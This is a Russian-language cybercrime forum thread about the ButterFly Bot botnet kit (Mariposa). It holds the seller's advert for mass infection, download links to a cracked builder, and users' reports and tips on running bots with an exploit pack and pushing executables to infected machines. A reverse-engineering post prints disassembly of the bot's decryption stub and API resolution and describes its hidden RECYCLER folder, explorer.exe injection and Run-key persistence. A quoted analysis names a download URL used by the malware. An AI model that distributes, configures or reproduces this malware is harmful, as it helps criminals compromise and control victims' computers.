• XSS.stack #1 – первый литературный журнал от юзеров форума

malware ButterFly Bot v1.30 Extended

smartRYX

RAM
Пользователь
Регистрация
30.04.2010
Сообщения
102
Реакции
0
ButterFly Bot v1.30 Extended

один их продвинутых ботов, использовался при создании ботнет-сети Mariposa (бабочка), включавшей миллионы машин в 190 странах.
Из рекламного описания:
"BFBOT is the best bot you can buy for price sub 1000 EUR. It has stability, performance and reliability no other bot can provide. It is enough secure that you will never have to worry about skiddies stealing your bots. The spreading rate is the best out of any bot you can buy, and can each 10.000 or more newly infected PCs per day if you combine it with browsers exploit pack. The protocol is very reliable and proved to be much better choice than standard IRC. Besides minimum bandwidth needed to run the botnet, it also greatly reduces server side resources compared to IRC protocol. Therefore BFBOT server can hold around 4-5 times more bots! That is not all - you can configure server to give different commands to bots and command bots from certain country only. And when your botnet grows to 20.000 and more, polymorphism of the bot will take care it stays undetected!"

http://rapidshare.com/files/392100130/BFBot.v1.3.0.Extended.Edition.with.Crack-LEAKiSO-2009.rar.html
MD5: 26965571BF44D6801A8BD64F8296A11F
Без какой-либо гарантии, непроверен. Нельзя исключать backdoor или потерю ботов. Стоит проверить на отладчике, например OllyDbg.
 
как уже писали, в оригиальном билдере можно указывать несколько доменов. тут - только 1 (не факт, что бэкап-домены не направлены куда-то еще :) )
к тому-же он очень легко убивается

зы. если кому интересно, то новые релизы продается тут http://www.bfsystems.net/
 
Весь вечер тестирую данную софтинку, отстук с феникса (моденного) составил на уровне 95% +
Даже запланировал продать нафиг майлодырь, но только не задача... заставить ботов грузить мои exe так и не получилось...
Кто может с этим чёнить посоветовать?
 
Лови =)
http://www.sendspace.com/file/xhmkjr
Если разберёшься как отгружать ботам файлы отпиши пожалуйста тут =)

При настройке бота не меняй в конфиге самого сервера порт. Иначе не приконнектит.
 
Мини-обзор Reverse of ButterFly Bot
( того что я скачал в архиве )


Вот процедура расшифровки  тела бота или секции данных где содержатся нужные ASCII строки -  в стэк

00401000  /$  55            PUSH EBP                                ; |Arg3
00401001  |.  8BEC          MOV EBP,ESP                              ; |
00401003  |.  53            PUSH EBX                                ; |Arg2
00401004  |.  56            PUSH ESI                                ; |Arg1
00401005  |.  BB A06C4100  MOV EBX,bot_.00416CA0                    ; |
0040100A  |.  43            INC EBX                                  ; |
0040100B  |.  8A03          MOV AL,BYTE PTR DS:[EBX]                ; |
0040100D  |.  3C 00        CMP AL,0                                ; |
0040100F  |.  74 3D        JE SHORT bot_.0040104E                  ; |
00401011  |.  E8 00000000  CALL bot_.00401016                      ; \bot_.00401016
00401016  |$  5E            POP ESI
00401017  |.  83C6 49      ADD ESI,49
0040101A  |.  B9 0BC00000  MOV ECX,0C00B
0040101F  |.  2BE1          SUB ESP,ECX
00401021  |.  83EC 01      SUB ESP,1
00401024  |.  8A43 01      MOV AL,BYTE PTR DS:[EBX+1]
00401027  |.  8A5B 02      MOV BL,BYTE PTR DS:[EBX+2]
0040102A  |.  F6D0          NOT AL
0040102C  |.  02C3          ADD AL,BL
0040102E  |.  D0F8          SAR AL,1
00401030  |>  8A140E        /MOV DL,BYTE PTR DS:[ESI+ECX]
00401033  |.  90            |NOP
00401034  |.  90            |NOP
00401035  |.  90            |NOP
00401036  |.  90            |NOP
00401037  |.  90            |NOP
00401038  |.  90            |NOP
00401039  |.  88540C FF    |MOV BYTE PTR SS:[ESP+ECX-1],DL
0040103D  |.^ E2 F1        \LOOPD SHORT bot_.00401030
0040103F  |.  B8 A01E4000  MOV EAX,bot_.00401EA0                    ;  Ввод адреса
00401044  |.  2BC6          SUB EAX,ESI
00401046  |.  8BDC          MOV EBX,ESP
00401048  |.  03D8          ADD EBX,EAX
0040104A  |.  4B            DEC EBX
0040104B  |.  54            PUSH ESP
0040104C  |.  FFD3          CALL EBX
0040104E  |>  33C0          XOR EAX,EAX
00401050  |.  50            PUSH EAX                                ; /Arg1 => 00000000
00401051  |.  E8 4A0E0000  CALL bot_.00401EA0                      ; \bot_.00401EA0
00401056  |.  33C0          XOR EAX,EAX
00401058  |.  5E            POP ESI
00401059  |.  5B            POP EBX
0040105A  |.  5D            POP EBP
0040105B  \.  C2 1000      RETN 10



дальше извлекаются адреса следующих WinApi функций, которые применяются в дальнейшей работе бота


00123C08  7C800000  kernel32.7C800000
00123C0C  7E360000  USER32.7E360000
00123C10  7C900000  ntdll.7C900000
00123C14  77DC0000  ADVAPI32.77DC0000
00123C18  71A90000  OFFSET ws2_32.#382
00123C1C  43310000  wininet.43310000
00123C20  7C9C0000  OFFSET shell32.#599
00123C24  7E3A07EA  USER32.MessageBoxA
00123C28  7E371B3B  RETURN вUSER32.RegisterDeviceNotificationA
00123C2C  7E37C17E  RETURN вUSER32.DefWindowProcA
00123C30  7E377C39  USER32.RegisterClassExA
00123C34  7E37E4A9  RETURN вUSER32.CreateWindowExA
00123C38  7E37B19C  USER32.DestroyWindow
00123C3C  7E3789A3  USER32.UnregisterClassA
00123C40  7E36E8D7  USER32.UnregisterDeviceNotification
00123C44  7E37A340  RETURN вUSER32.PeekMessageA
00123C48  7E3696B8  RETURN вUSER32.DispatchMessageA
00123C4C  7E36A8AD  USER32.wsprintfA
00123C50  7C801D7B  kernel32.LoadLibraryA
00123C54  7C80B55F  kernel32.GetModuleFileNameA
00123C58  7C8286D6  kernel32.CopyFileA
00123C5C  7C801A28  RETURN вkernel32.CreateFileA
00123C60  7C809BD7  kernel32.CloseHandle
00123C64  7C801812  kernel32.ReadFile
00123C68  7C810B07  kernel32.GetFileSize
00123C6C  7C810E17  kernel32.WriteFile
00123C70  7C809A1D  kernel32.LocalAlloc
00123C74  7C8099BF  kernel32.LocalFree
00123C78  7C8325D4  RETURN вkernel32.LocalSize
00123C7C  7C80932E  kernel32.GetTickCount
00123C80  7C812FAD  kernel32.GetCommandLineA
00123C84  7C80A864  kernel32.GetLocalTime
00123C88  7C865B1F  kernel32.CreateToolhelp32Snapshot
00123C8C  7C864DF5  kernel32.Process32First
00123C90  7C864F68  kernel32.Process32Next
00123C94  7C8309D1  kernel32.OpenProcess
00123C98  7C809B02  kernel32.VirtualAllocEx
00123C9C  7C8104BC  kernel32.CreateRemoteThread
00123CA0  7C80BE46  kernel32.lstrlenA
00123CA4  7C834D59  kernel32.lstrcatA
00123CA8  7C830D64  RETURN вkernel32.lstrcmpA
00123CAC  7C80BB31  kernel32.lstrcmpiA
00123CB0  7C8101A1  kernel32.lstrcpynA
00123CB4  7C802530  kernel32.WaitForSingleObject
00123CB8  7C80E9CF  kernel32.CreateMutexA
00123CBC  7C8106C7  kernel32.CreateThread
00123CC0  7C80C0E8  kernel32.ExitThread
00123CC4  7C802446  kernel32.Sleep
00123CC8  7C821794  kernel32.CreateDirectoryA
00123CCC  7C8090BF  ASCII "NTDLL.RtlGetLastWin32Error"
00123CD0  7C812812  RETURN вkernel32.SetFileAttributesA
00123CD4  7C831EC5  kernel32.DeleteFileA
00123CD8  7C814F7A  RETURN вkernel32.GetSystemDirectoryA
00123CDC  7C812CB3  kernel32.GetProcessVersion
00123CE0  7C80236B  kernel32.CreateProcessA
00123CE4  7C814B82  kernel32.GetEnvironmentVariableA
00123CE8  7C80B731  kernel32.GetModuleHandleA
00123CEC  7C812B6E  RETURN вkernel32.GetVersionExA
00123CF0  7C835DE2  RETURN вkernel32.GetTempPathA
00123CF4  7C81CAFA  kernel32.ExitProcess
00123CF8  7C801A61  kernel32.VirtualProtectEx
00123CFC  7C860B7C  kernel32.CreateNamedPipeA
00123D00  7C83144B  kernel32.ConnectNamedPipe
00123D04  7C80DE8E  kernel32.DuplicateHandle
00123D08  7C80DE85  kernel32.GetCurrentProcess
00123D0C  7C81272F  kernel32.DisconnectNamedPipe
00123D10  7C80D2F2  kernel32.GetLocaleInfoA
00123D14  7C90DF90  ntdll.ZwWriteVirtualMemory
00123D18  77DCE9E4  ADVAPI32.RegCreateKeyExA
00123D1C  77DCEAD7  ADVAPI32.RegSetValueExA
00123D20  77DC6C17  ADVAPI32.RegCloseKey
00123D24  77DCECD5  ADVAPI32.RegDeleteValueA
00123D28  77DCEFB8  ADVAPI32.RegOpenKeyA
00123D2C  77DD54A4  ADVAPI32.GetUserNameA
00123D30  77DC7AAB  RETURN вADVAPI32.RegQueryValueExA
00123D34  71A96A55  ws2_32.WSAStartup
00123D38  71A94211  ws2_32.socket
00123D3C  71A945C1  ws2_32.inet_ntoa
00123D40  71A92EE1  ws2_32.inet_addr
00123D44  71A92E53  ws2_32.ntohs
00123D48  71A92E53  ws2_32.ntohs
00123D4C  71A92F51  ws2_32.sendto
00123D50  71A92FF7  ws2_32.recvfrom
00123D54  71A93E2B  ws2_32.closesocket
00123D58  71A93F50  ws2_32.ioctlsocket
00123D5C  71A95355  ws2_32.gethostbyname
00123D60  71A93D10  ws2_32.getsockname
00123D64  71A94C27  RETURN вws2_32.send
00123D68  71A95449  ws2_32.gethostname
00123D6C  71A94A07  ws2_32.connect
00123D70  71A930A8  ws2_32.select
00123D74  71A92EAD  ws2_32.ntohl
00123D78  71A92EAD  ws2_32.ntohl
00123D7C  71A9676F  RETURN вws2_32.recv
00123D80  4332C851  RETURN вwininet.InternetOpenA
00123D84  43330BAA  wininet.InternetOpenUrlA
00123D88  4331DA49  wininet.InternetCloseHandle
00123D8C  4332ABA4  wininet.InternetReadFile
00123D90  7CA41258  RETURN вshell32.ShellExecuteA
00123D94  7C8115CC  kernel32.GetFileAttributesA
00123D98  7C80AC6E  kernel32.FreeLibrary
00123D9C  7C80AE30  kernel32.GetProcAddress
00123DA0  77DC7842  ADVAPI32.RegOpenKeyExA
00123DA4  00416CA8  ASCII "VirtualProtect"
00123DA8  00416CA0  bot.00416CA0



Получение базы kernel32

00127874    55              PUSH EBP
00127875    8BEC            MOV EBP,ESP
00127877    53              PUSH EBX
00127878    B8 30000000    MOV EAX,30
0012787D    64:8B10        MOV EDX,DWORD PTR FS:[EAX]
00127880    83C2 0C        ADD EDX,0C
00127883    8B0A            MOV ECX,DWORD PTR DS:[EDX]
00127885    83C1 1C        ADD ECX,1C
00127888    8B19            MOV EBX,DWORD PTR DS:[ECX]
0012788A    8B03            MOV EAX,DWORD PTR DS:[EBX]
0012788C    83C0 08        ADD EAX,8
0012788F    8B00            MOV EAX,DWORD PTR DS:[EAX]
00127891    5B              POP EBX
00127892    5D              POP EBP
00127893    C3              RETN

получение адреса фунок по ASCII строке - базонезависимый аналог GetProcAddress

00127894    55              PUSH EBP
00127895    8BEC            MOV EBP,ESP
00127897    83EC 14        SUB ESP,14
0012789A    C745 F4 0000000>MOV DWORD PTR SS:[EBP-C],0
001278A1    837D 08 00      CMP DWORD PTR SS:[EBP+8],0
001278A5    75 07          JNZ SHORT 001278AE
001278A7    33C0            XOR EAX,EAX
001278A9    E9 9D000000    JMP 0012794B
001278AE    8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
001278B1    8B48 3C        MOV ECX,DWORD PTR DS:[EAX+3C]
001278B4    8B55 08        MOV EDX,DWORD PTR SS:[EBP+8]
001278B7    8D440A 18      LEA EAX,DWORD PTR DS:[EDX+ECX+18]
001278BB    8945 EC        MOV DWORD PTR SS:[EBP-14],EAX
001278BE    8B4D EC        MOV ECX,DWORD PTR SS:[EBP-14]
001278C1    8B55 08        MOV EDX,DWORD PTR SS:[EBP+8]
001278C4    0351 60        ADD EDX,DWORD PTR DS:[ECX+60]
001278C7    8955 F0        MOV DWORD PTR SS:[EBP-10],EDX
001278CA    C745 F8 0000000>MOV DWORD PTR SS:[EBP-8],0
001278D1    EB 09          JMP SHORT 001278DC
001278D3    8B45 F8        MOV EAX,DWORD PTR SS:[EBP-8]
001278D6    83C0 01        ADD EAX,1
001278D9    8945 F8        MOV DWORD PTR SS:[EBP-8],EAX
001278DC    8B4D F0        MOV ECX,DWORD PTR SS:[EBP-10]
001278DF    8B55 F8        MOV EDX,DWORD PTR SS:[EBP-8]
001278E2    3B51 18        CMP EDX,DWORD PTR DS:[ECX+18]
001278E5    73 2A          JNB SHORT 00127911
001278E7    8B45 F0        MOV EAX,DWORD PTR SS:[EBP-10]
001278EA    8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
001278ED    0348 20        ADD ECX,DWORD PTR DS:[EAX+20]
001278F0    8B55 F8        MOV EDX,DWORD PTR SS:[EBP-8]
001278F3    8B0491          MOV EAX,DWORD PTR DS:[ECX+EDX*4]
001278F6    0345 08        ADD EAX,DWORD PTR SS:[EBP+8]
001278F9    8945 F4        MOV DWORD PTR SS:[EBP-C],EAX
001278FC    8B4D 0C        MOV ECX,DWORD PTR SS:[EBP+C]
001278FF    51              PUSH ECX
00127900    8B55 F4        MOV EDX,DWORD PTR SS:[EBP-C]
00127903    52              PUSH EDX
00127904    E8 0BFDFFFF    CALL 00127614                          // это еще какая-то вспомагательная функа которая используется тут
00127909    85C0            TEST EAX,EAX
0012790B    75 02          JNZ SHORT 0012790F
0012790D    EB 02          JMP SHORT 00127911
0012790F  ^ EB C2          JMP SHORT 001278D3
00127911    8B45 F0        MOV EAX,DWORD PTR SS:[EBP-10]
00127914    8B4D F8        MOV ECX,DWORD PTR SS:[EBP-8]
00127917    3B48 18        CMP ECX,DWORD PTR DS:[EAX+18]
0012791A    75 04          JNZ SHORT 00127920
0012791C    33C0            XOR EAX,EAX
0012791E    EB 2B          JMP SHORT 0012794B
00127920    8B55 F0        MOV EDX,DWORD PTR SS:[EBP-10]
00127923    8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
00127926    0342 24        ADD EAX,DWORD PTR DS:[EDX+24]
00127929    8B4D F8        MOV ECX,DWORD PTR SS:[EBP-8]
0012792C    0FB71448        MOVZX EDX,WORD PTR DS:[EAX+ECX*2]
00127930    8955 FC        MOV DWORD PTR SS:[EBP-4],EDX
00127933    8B45 F0        MOV EAX,DWORD PTR SS:[EBP-10]
00127936    8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
00127939    0348 1C        ADD ECX,DWORD PTR DS:[EAX+1C]
0012793C    8B55 FC        MOV EDX,DWORD PTR SS:[EBP-4]
0012793F    8B0491          MOV EAX,DWORD PTR DS:[ECX+EDX*4]
00127942    0345 08        ADD EAX,DWORD PTR SS:[EBP+8]
00127945    8945 F4        MOV DWORD PTR SS:[EBP-C],EAX
00127948    8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]
0012794B    8BE5            MOV ESP,EBP
0012794D    5D              POP EBP                                  ; 00123BF8
0012794E    C2 0800        RETN 8


вспомогательная функа, которая делает типа lstrcmpiA

00127614    55              PUSH EBP
00127615    8BEC            MOV EBP,ESP
00127617    51              PUSH ECX
00127618    C745 FC 0000000>MOV DWORD PTR SS:[EBP-4],0
0012761F    8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
00127622    0FB608          MOVZX ECX,BYTE PTR DS:[EAX]
00127625    8B55 0C        MOV EDX,DWORD PTR SS:[EBP+C]
00127628    0FB602          MOVZX EAX,BYTE PTR DS:[EDX]
0012762B    2BC8            SUB ECX,EAX
0012762D    894D FC        MOV DWORD PTR SS:[EBP-4],ECX
00127630    75 1E          JNZ SHORT 00127650
00127632    8B4D 0C        MOV ECX,DWORD PTR SS:[EBP+C]
00127635    0FBE11          MOVSX EDX,BYTE PTR DS:[ECX]
00127638    85D2            TEST EDX,EDX
0012763A    74 14          JE SHORT 00127650
0012763C    8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
0012763F    83C0 01        ADD EAX,1
00127642    8945 08        MOV DWORD PTR SS:[EBP+8],EAX
00127645    8B4D 0C        MOV ECX,DWORD PTR SS:[EBP+C]
00127648    83C1 01        ADD ECX,1
0012764B    894D 0C        MOV DWORD PTR SS:[EBP+C],ECX
0012764E  ^ EB CF          JMP SHORT 0012761F
00127650    837D FC 00      CMP DWORD PTR SS:[EBP-4],0
00127654    7D 09          JGE SHORT 0012765F
00127656    C745 FC FFFFFFF>MOV DWORD PTR SS:[EBP-4],-1
0012765D    EB 0D          JMP SHORT 0012766C
0012765F    837D FC 00      CMP DWORD PTR SS:[EBP-4],0
00127663    7E 07          JLE SHORT 0012766C
00127665    C745 FC 0100000>MOV DWORD PTR SS:[EBP-4],1
0012766C    8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
0012766F    8BE5            MOV ESP,EBP
00127671    5D              POP EBP
00127672    C2 0800        RETN 8








проверяет свое имя с launch.exe (выскочила строка для чего она используется потом у бота неизвестно)
C:\Documents and Settings\Profile  // тоже в дальнейшем используется

получает хэндл explorer.exe
дальше сравнивает свое имя с winlogon.exe
GetSystemDirectoryA получает системную директорию, отсюда отбрасывает ненужное и получается C:\  системный диск

создает директория C:\RECYCLER\S-1-5-21-1436217208-4279808814-738993912-6973    с аттрибутами - скрытая,

далее создается следующий файл
C:\RECYCLER\S-1-5-21-1436217208-4279808814-738993912-6973\Desktop.ini

[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}

копирetn себя в
C:\RECYCLER\S-1-5-21-1436217208-4279808814-738993912-6973\winlogon.exe

Инжектит свои секции в память explorer.exe и передает управление через CreateRemoteThread

добавляет в авторан таким образом
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Windows Video Drivers
"C:\RECYCLER\S-1-5-21-1436217208-4279808814-738993912-6973\winlogon.exe"


Вывод - ничего кардинального нового ТС не изобрел, банальный инжект в проводник своего тела, расшифровщик стаба очень примитивный, то есть напрасно потраченное мое время на исследование этого бота )
К тому же не используется unicode.
 
Мини-обзор Reverse of ButterFly Bot
я-же говорил, что он не сильно навороченный
хотя автор клялся, и рвал на себе волосы, доказывая, что новые версии гораздо лучше :)
 
Весь вечер тестирую данную софтинку, отстук с феникса (моденного) составил на уровне 95% +
очень смущает отстук, не вериться ...
хотя автор клялся, и рвал на себе волосы, доказывая, что новые версии гораздо лучше
выкладывайте новые версии посмотрим... :)
 
нашел независимое описание в другом месте
Код:
Once excuted it will copy it self as "c:\Recycle\S-1-5-21-0165222853-5059088641-677363363-6423\winlogon.exe" ,and also create a Destop.ini to SPOILER the dropped file,then create some registry entries to enable its automatic run in every system startup,it connect to certain website to notice affect malchine's online.

This backdoor malware can gain control of your system through remote access,which can pose security threats. Malicious users, can execute remote commands exploit your system as much as they can.

This backdoor also use a lots trick to anti-debug and anti-VMware which make analysis complicated.

It drops a copy of itself as following:
 c:\Recycle\S-1-5-21-0165222853-5059088641-677363363-6423\winlogon.exe --copy of itself 
 c:\Recycle\S-1-5-21-0165222853-5059088641-677363363-6423\Desktop.ini 

the content of Desktop.ini:

[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}

It download other malware from the following websit(s):
 http://206.222.*.*/~dsacom/c1234.exe as %User_profile%/Temp/Random Number.exe detected by anchiva as:Trojan/HangUp.BBFF

It creates following registry entries to enable its automatic run:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  
Windows Video Drivers  "C:\RECYCLER\S-1-5-21-0165222853-5059088641-677363363-6423\winlogon.exe"

Код:
[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}

and also create a Destop.ini to SPOILER the dropped file
про эту фичу первый раз слышу
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх